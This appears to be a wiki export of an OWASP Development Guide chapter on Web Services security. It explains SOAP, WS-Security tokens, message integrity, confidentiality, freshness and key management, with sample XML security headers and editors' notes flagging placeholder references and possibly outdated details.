As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:35:05Z

KirstenS: /* Access control */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations, which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' ''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body>''

'' </soap:Body>''

''</soap:Envelope>''

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi... ''

'' </wsse:BinarySecurityToken>''

'' <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>''

'' <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference> ''

'' </dsig:KeyInfo>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>Nb0Mf...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' <xenc:ReferenceList>''

'' <xenc:DataReference URI="#aDNa2iD"/>''

'' </xenc:ReferenceList>''

'' </xenc:EncryptedKey>''

'' <wsse:SecurityTokenReference wsu:Id="aZG0sG">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

'' <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">''

'' <dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">''

'' ...''

'' <dsig:Reference URI="#s91397860">''

'' ... ''

'' <dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>''

'' </dsig:Reference>''

'' </dsig:SignedInfo>''

'' <dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>''

'' <dsig:KeyInfo>''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference>''

'' </dsig:KeyInfo>''

'' </dsig:Signature>''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">''

'' <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>XFM4J6C...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' </xenc:EncryptedData>''

'' </soap:Body>''

''</soap:Envelope>''

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

''Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )''

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">''

'' MIICtzCCAi...''

'' </wsse:BinarySecurityToken>''

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

